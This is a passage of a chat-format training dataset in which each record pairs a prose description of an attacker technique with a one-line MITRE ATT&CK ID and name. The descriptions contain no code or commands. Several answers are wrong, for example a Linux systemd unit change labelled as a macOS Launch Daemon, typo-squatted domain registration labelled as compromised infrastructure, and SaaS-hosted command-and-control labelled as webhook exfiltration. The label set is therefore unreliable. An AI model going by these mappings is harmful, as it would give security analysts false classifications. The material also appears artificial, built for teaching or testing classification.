        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a weakness in the device's REST API, the attacker changed the SSH login credentials for the edge router, taking over its control."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the argument list of a system process, causing monitoring tools to misinterpret the activity."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's tool queries the Windows Registry for \"HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS\\BIOSVersion\" to spot \"Virtual\" strings."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the web application's API token generation process to produce valid tokens for unauthorized accounts."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquired a zero‑day exploit kit from an underground marketplace to use in targeted attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies a cron@.service unit to launch a backdoor daemon on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised credentials to access user mailboxes via Outlook Web Access and download stored emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software rewrites exfiltrated documents using a non‑standard Base85 encoding to bypass data loss prevention tools."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious Excel add‑in and adds its path to the HKCU\\Software\\Microsoft\\Office\\Excel\\Addins registry key."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses VSS to snapshot the SAM file and then parses it to retrieve user hash values."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake Windows Service named 'Windows Update' to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a phishing email to deliver a trojan that, once installed, provides the attacker with additional exploit modules."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged compromised admin credentials to assign delegate permissions to a service account in Office 365."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware unpacks a payload that has been stripped of its import table and then re‑creates imports at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the adversary started a VNC session to exfiltrate sensitive files by dragging them across the remote desktop."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the victim's GPU resources to perform intensive hash calculations for crypto mining activities."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan captures audio from the system’s microphone and uploads the recordings."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the intruder used net use to connect to the target's admin share and copied a payload."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder disguises a malicious shortcut by embedding an authentic .ico resource, causing users to believe the file is a legitimate system utility."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all user profiles, reads each .bash_history, and parses lines that include passwords or secret tokens for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a stolen SSH key to access a self-hosted Nextcloud instance and copied confidential PDFs."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers hijack a virtual private server and use it to launch distributed denial‑of‑service attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised DNS entry, the attacker redirected users to a defaced clone of the original website."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group used the IIS Administration API to create a new virtual directory that hosts a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the password fields of Group Policy Preferences, the attacker harvests service account credentials without any encryption."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers conduct AS-REP roasting by requesting authentication data for accounts lacking pre‑authentication and then cracking the hash to obtain the ticket encryption key."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors push a malicious security policy via Group Policy to disable Windows Defender across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors browse public TikTok videos tagged with a company's brand to identify physical office locations."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool that floods the network with malicious ARP replies, the adversary gains control over traffic routing."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a known CVE in the company's exposed FTP server, the intruder gained shell access and uploaded additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script updates the ShellExecute hook in the registry to execute payloads on command."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the mailbox settings to give a malicious user delegate rights, allowing read and send capabilities on the compromised email."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing a valid Kerberos ticket, the attacker joins a live Windows Remote Management (WinRM) session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queries the Windows Registry for the SAM hive to extract user account information."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary accesses the Azure Instance Metadata Service to steal the VM's access token and impersonate the instance."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with the domain trust configuration to embed a hidden trust relationship for stealthy access."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A victim runs a compromised installer downloaded from a fake software update website."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a cryptocurrency miner on compromised hosts to consume CPU cycles and generate profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a typo‑squatting technique, registering domains that closely resemble the victim's brand to host malicious content."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encoded a malicious script in a .hta file and used mshta.exe via a scheduled task to achieve persistence on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor exploits the Cloudflare Workers API to execute JavaScript code that runs system commands."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program attempts to crack Wi‑Fi passwords by repeatedly sending authentication requests with a dictionary of common keys."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The utilization of Virtual Private Network (VPN) credentials allows an attacker to gain access to a network and then move laterally by using standard VPN protocols for cover."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a payload that repeatedly triggers kernel panic via a known driver bug, making the endpoint unusable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker applies a fake security patch that corrupts the system image of a server, enabling stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a compromised legitimate SaaS platform to host their C2 payloads and command scripts."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the embedded controller firmware to run payloads during boot."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a space character after the filename when dropping a payload, making it appear as a legitimate file."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors bribed an insider at a certification authority to issue a code signing certificate under a legitimate vendor's name."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a scheduled task that runs a malicious JavaScript file whenever the user unlocks the workstation."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By delivering a crafted XSL stylesheet, the attacker triggers the XSL script processing engine to execute a PowerShell command on the host."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged an SNMP read community string to retrieve a full backup of the switch configuration."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script modifies the registry to load a custom keyboard layout driver that records all keys and emails the results daily."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through passive DNS replication, the malicious actor assembles a list of all domains and subdomains under the victim’s control for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries sabotage power management settings, causing servers to shut down unexpectedly."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit InstallUtil's ability to run custom installer classes, loading a payload that runs under system context."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary breaks large files into multiple small packets before exfiltration to stay under network monitoring thresholds."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to retrieve the list of Wi‑Fi networks within range for network mapping."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a Python script to disable Windows Defender real-time monitoring via WMI commands."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits an SSH client vulnerability to hijack an active remote service session and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attack on a cloud service involves using social engineering tactics to trick support staff into escalating the attacker's privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the threat actor purges the system's network connection history and associated configuration files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before performing any malicious actions, the implant checks the system's uptime and aborts if the uptime is less than an hour, indicating a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivered a ransomware dropper that encrypts all .doc, .pdf, and .jpg files on the machine, then writes a ransom instructions file in the root directory."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in InstallUtil tool, threat actors register a malicious installer class that runs their code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs obfuscation of scripts using base64 encoding to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers co-opt compromised virtual machines to mine digital currency, exploiting burstable CPU credits for maximum profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a vulnerable templating engine by inserting payloads that bypass input validation and achieve command execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sent a malicious attachment to employees, prompting them to enter their Outlook credentials on a fake login page, thereby stealing email account passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing cloud services for data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a proxy connection that utilizes domain fronting, altering the HTTP Host header to a public domain to evade detection and bypass corporate filters."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social media post appears to be from the company's official account announcing a mandatory software update, linking to a fake download page that harvests user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan runs a background process that periodically records the screen as video and streams the footage to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An initial malicious PowerShell script establishes a WebSocket connection; subsequent commands are sent over this channel to fetch a stealthy credential‑stealing module encoded in base64."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s backdoor periodically gathers system logs, compresses them, and exfiltrates via an HTTP POST to a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample polls for changes in the cursor position over time, terminating itself if the cursor remains static, indicating a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
